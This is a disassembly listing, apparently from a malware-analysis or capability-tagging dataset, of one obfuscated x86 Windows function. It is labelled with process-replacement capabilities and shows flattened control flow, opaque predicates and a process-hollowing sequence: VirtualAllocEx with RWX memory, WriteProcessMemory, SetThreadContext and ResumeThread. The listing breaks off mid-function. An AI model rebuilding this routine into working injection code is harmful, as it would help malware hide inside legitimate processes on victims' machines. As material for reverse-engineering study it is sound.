Function at 0x40df30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x47d680]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1b8], 0x9415db60
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c0], eax
sub eax, 0x80613612
je 0x4102ec
jmp 0x40df75
mov eax, dword [ebp - 0x1c0]
sub eax, 0x811b903f
je 0x40fd2b
jmp 0x40df8b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x81d30fa3
je 0x410c9c
jmp 0x40dfa1
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8340a3dc
je 0x4102a5
jmp 0x40dfb7
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8347dd8a
je 0x40f675
jmp 0x40dfcd
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8411684e
je 0x40f0d4
jmp 0x40dfe3
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8482f9aa
je 0x40f990
jmp 0x40dff9
mov eax, dword [ebp - 0x1c0]
sub eax, 0x85b2a2e1
je 0x410d22
jmp 0x40e00f
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8b4fcf42
je 0x40fdd2
jmp 0x40e025
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8b5ba91d
je 0x411650
jmp 0x40e03b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8be6d383
je 0x40f9d5
jmp 0x40e051
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8c513fa9
je 0x41049e
jmp 0x40e067
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8c5c16dc
je 0x411348
jmp 0x40e07d
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8cc46b5c
je 0x4113d1
jmp 0x40e093
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8ee7e333
je 0x40fa2f
jmp 0x40e0a9
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8f8fb383
je 0x411832
jmp 0x40e0bf
mov eax, dword [ebp - 0x1c0]
sub eax, 0x909e6390
je 0x4100e1
jmp 0x40e0d5
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9415db60
je 0x40effa
jmp 0x40e0eb
mov eax, dword [ebp - 0x1c0]
sub eax, 0x974456c8
je 0x40f500
jmp 0x40e101
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9a15e723
je 0x41129d
jmp 0x40e117
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9b6c7301
je 0x4101f6
jmp 0x40e12d
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9ca61f4d
je 0x40ff02
jmp 0x40e143
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9d26a346
je 0x4117ef
jmp 0x40e159
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9d9d58bb
je 0x4115f0
jmp 0x40e16f
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9eab0765
je 0x410f08
jmp 0x40e185
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9f325df1
je 0x40f75b
jmp 0x40e19b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9f36455e
je 0x411915
jmp 0x40e1b1
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa467c5d3
je 0x40f37b
jmp 0x40e1c7
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa6a3535e
je 0x410bc2
jmp 0x40e1dd
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa6aa8876
je 0x4118dc
jmp 0x40e1f3
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa7631d53
je 0x411488
jmp 0x40e209
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8cc0fa0
je 0x40fe36
jmp 0x40e21f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8eaee4e
je 0x410f23
jmp 0x40e235
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaad6871d
je 0x410d4c
jmp 0x40e24b
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0716e51
je 0x40fc44
jmp 0x40e261
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0b37ab1
je 0x411227
jmp 0x40e277
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0e5d084
je 0x410901
jmp 0x40e28d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb344b8a1
je 0x40ff46
jmp 0x40e2a3
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb3eb8b13
je 0x40f066
jmp 0x40e2b9
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb4f49181
je 0x410c26
jmp 0x40e2cf
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb9000066
je 0x4113a0
jmp 0x40e2e5
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb95df398
je 0x40f6d5
jmp 0x40e2fb
mov eax, dword [ebp - 0x1c0]
sub eax, 0xba33adf1
je 0x411900
jmp 0x40e311
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbbd86c72
je 0x41181c
jmp 0x40e327
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbc0989aa
je 0x40f7fd
jmp 0x40e33d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbd60d7b0
je 0x40f32a
jmp 0x40e353
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbdb0868c
je 0x411218
jmp 0x40e369
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbec3d20c
je 0x410dc2
jmp 0x40e37f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbfa5b7b3
je 0x40fb76
jmp 0x40e395
mov eax, dword [ebp - 0x1c0]
sub eax, 0xc17cfbed
je 0x40f033
jmp 0x40e3ab
mov eax, dword [ebp - 0x1c0]
sub eax, 0xc1b8fc5a
je 0x40f596
jmp 0x40e3c1
mov eax, dword [ebp - 0x1c0]
sub eax, 0xc30f74e8
je 0x410393
jmp 0x40e3d7
mov eax, dword [ebp - 0x1c0]
sub eax, 0xc8991211
je 0x41065a
jmp 0x40e3ed
mov eax, dword [ebp - 0x1c0]
sub eax, 0xc9da16e1
je 0x41063f
jmp 0x40e403
mov eax, dword [ebp - 0x1c0]
sub eax, 0xca714266
je 0x410b03
jmp 0x40e419
mov eax, dword [ebp - 0x1c0]
sub eax, 0xcae2ea49
je 0x41048f
jmp 0x40e42f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xcb304693
je 0x411963
jmp 0x40e445
mov eax, dword [ebp - 0x1c0]
sub eax, 0xcc74f9d8
je 0x41175a
jmp 0x40e45b
mov eax, dword [ebp - 0x1c0]
sub eax, 0xcd2e73f4
je 0x410b79
jmp 0x40e471
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd087f9db
je 0x411733
jmp 0x40e487
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd0c4f28c
je 0x40fee7
jmp 0x40e49d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd0f93820
je 0x411873
jmp 0x40e4b3
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd5a88575
je 0x40f140
jmp 0x40e4c9
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd7e15b45
je 0x411209
jmp 0x40e4df
mov eax, dword [ebp - 0x1c0]
sub eax, 0xd9036628
je 0x410e6c
mov eax, dword [ebp - 0x1bc]
push eax
mov ecx, esp
mov dword [ebp - 0x174], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x1b8], 0xc17cfbed
jmp 0x41199a
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
movzx edx, word [eax]
mov eax, 0x71a117b0
mov ecx, 0xb3eb8b13
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe2bf367c
mov ecx, 0x8411684e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x168], eax
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
mov edx, eax
add edx, 0xaf67d4ae
sub edx, 1
sub edx, 0xaf67d4ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2bf367c
mov ecx, 0x58d9969f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x1b8], 0xebb4db74
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
mov edx, eax
add edx, 0x6baca633
sub edx, 1
sub edx, 0x6baca633
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x739643f9
mov ecx, 0xa467c5d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.0040d8e0
add esp, 4
mov dword [ebp - 0x154], eax
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0xdca3ccbe
sub edx, 1
add edx, 0xdca3ccbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x739643f9
mov ecx, 0x4117bd96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x180]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1b8], 0x5d9dfd84
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0xc81c1ae5
sub edx, 1
add edx, 0xc81c1ae5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd087f9db
mov ecx, 0xfe5c8849
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov dword [ebp - 0x1b8], 0xc8496cc
jmp 0x41199a
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x148], eax
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4c2ad37a
mov ecx, 0x774ce732
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x148]
cmp eax, 0
setbe al
and al, 1
mov byte [ebp - 0x141], al
mov dword [ebp - 0x1b8], 0xdaa98e81
jmp 0x41199a
mov eax, dword [ebp - 0x140]
add eax, 0x14
mov ecx, dword [ebp - 0x180]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x180]
sub eax, 0x409c3f0c
add eax, 0x18
add eax, 0x409c3f0c
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x180]
add eax, 4
add eax, 0x10
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x1b8], 0xbc65720
jmp 0x41199a
mov eax, dword [ebp - 0x130]
movzx eax, word [eax + 6]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1b8], 0x4b1ea2d
jmp 0x41199a
mov eax, dword [ebp - 0x18c]
imul ecx, dword [ebp - 0x19c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1b8], 0x638da39c
jmp 0x41199a
mov eax, dword [ebp - 0x120]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
xor eax, eax
sub eax, edx
sub ecx, eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18c]
imul esi, dword [ebp - 0x19c], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x128]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x198]
mov esi, dword [ebp - 0x18c]
imul eax, dword [ebp - 0x19c], 0x28
add esi, eax
mov eax, 0xfa34cbff
mov ecx, 0x2f036f49
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff0752db
mov ecx, 0x71e1721c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov dword [ebp - 0x1b8], 0xf5304c40
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x78be6497
jmp 0x41199a
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61b51954
mov ecx, 0x7446b750
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
mov edx, eax
add edx, 0x1ccfd360
sub edx, 1
sub edx, 0x1ccfd360
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d26a346
mov ecx, 0x7d9c82c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x1b8], 0x9ca61f4d
jmp 0x41199a
mov eax, dword [ebp - 0x100]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x1b8], 0x4455f76
jmp 0x41199a
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1b8], 0x168ee555
jmp 0x41199a
mov dl, byte [ebp - 0xe9]
mov eax, 0xfd3af100
mov ecx, 0x3aeb48db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
mov edx, eax
add edx, 0xf811fea1
sub edx, 1
sub edx, 0xf811fea1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5aee4972
mov ecx, 0x228c2b45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov dl, byte [ebp - 0xdb]
mov eax, 0x31359137
mov ecx, 0x55d73cc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov ax, word [ebp - 0xda]
movzx eax, ax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x1b8], 0x5a18cd3
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0x5c16a697
sub edx, 1
add edx, 0x5c16a697
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbbd86c72
mov ecx, 0x365091a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x8c513fa9
jmp 0x41199a
mov eax, dword [ebp - 0xcc]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xe2a93b4e
mov ecx, 0x2e31ac2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1b8], 0xc8991211
jmp 0x41199a
mov eax, dword [ebp - 0xc8]
add eax, 0x2b9c2552
add eax, 1
sub eax, 0x2b9c2552
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1b8], 0x3477e7c0
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x6a87a62c
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
add edx, 0xa2741168
sub edx, 1
sub edx, 0xa2741168
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa6aa8876
mov ecx, 0xcd2e73f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6aa8876
mov ecx, 0xa6a3535e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov dl, byte [ebp - 0xa9]
mov eax, 0xaad6871d
mov ecx, 0xf406c683
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0x19b07ef5
sub edx, 1
add edx, 0x19b07ef5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x630453d7
mov ecx, 0x81d30fa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0xa8]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
mov edx, eax
sub edx, 0x794ef513
sub edx, 1
add edx, 0x794ef513
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x630453d7
mov ecx, 0x164ca2e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x174]
mov dword [eax], 0x40
mov dword [ebp - 0x1b8], 0xe9921c8c
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
add edx, 0xdc45e3ae
sub edx, 1
sub edx, 0xdc45e3ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba33adf1
mov ecx, 0xbec3d20c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xa20114ab
or eax, edx
or ecx, 0xa20114ab
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0xb084a75
sub edx, 1
add edx, 0xb084a75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba33adf1
mov ecx, 0xd9036628
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x174]
mov dword [eax], 4
mov dword [ebp - 0x1b8], 0xa8eaee4e
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x48fbee47
jmp 0x41199a
mov dword [ebp - 0x1b8], 0xbdb0868c
jmp 0x41199a
mov dword [ebp - 0x1b8], 0xb0b37ab1
jmp 0x41199a
mov ecx, dword [0x47eaf4]
mov eax, dword [0x47eaf0]
mov edx, ecx
sub edx, 0xff721e3c
sub edx, 1
add edx, 0xff721e3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6d6a50bb
mov ecx, 0x9a15e723
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d6a50bb
mov ecx, 0xf5afdf23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov ecx, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x7c]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov esi, dword [ebp - 0x80]
add esi, 0xd97eb867
add esi, eax
sub esi, 0xd97eb867
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
lea eax, [ebp - 0x70]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x1b8], 0xb9000066
jmp 0x41199a
mov eax, dword [ebp - 0x1b4]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b8], 0x799747a5
jmp 0x41199a
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x555c1ae7
mov ecx, 0x743d3937
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x78]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x180]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x1b8], 0x79c4bc14
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x7fecf875
jmp 0x41199a
mov eax, dword [ebp - 0x74]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x47eaf4]
mov ecx, dword [0x47eaf0]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45ab649d
mov ecx, 0x6f30b196
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x41199a
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1b8], 0xfe5c8849
jmp 0x41199a
mov eax, dword [ebp - 0x138]
movzx edx, word [eax]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1b8], 0xf60f9573
jmp 0x41199a
mov dword [ebp - 0x1b8], 0x7d9c82c5
jmp 0x41199a
mov ax, word [ebp - 0xce]
mov dword [ebp - 0x1b8], 0x365091a3
jmp 0x41199a
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
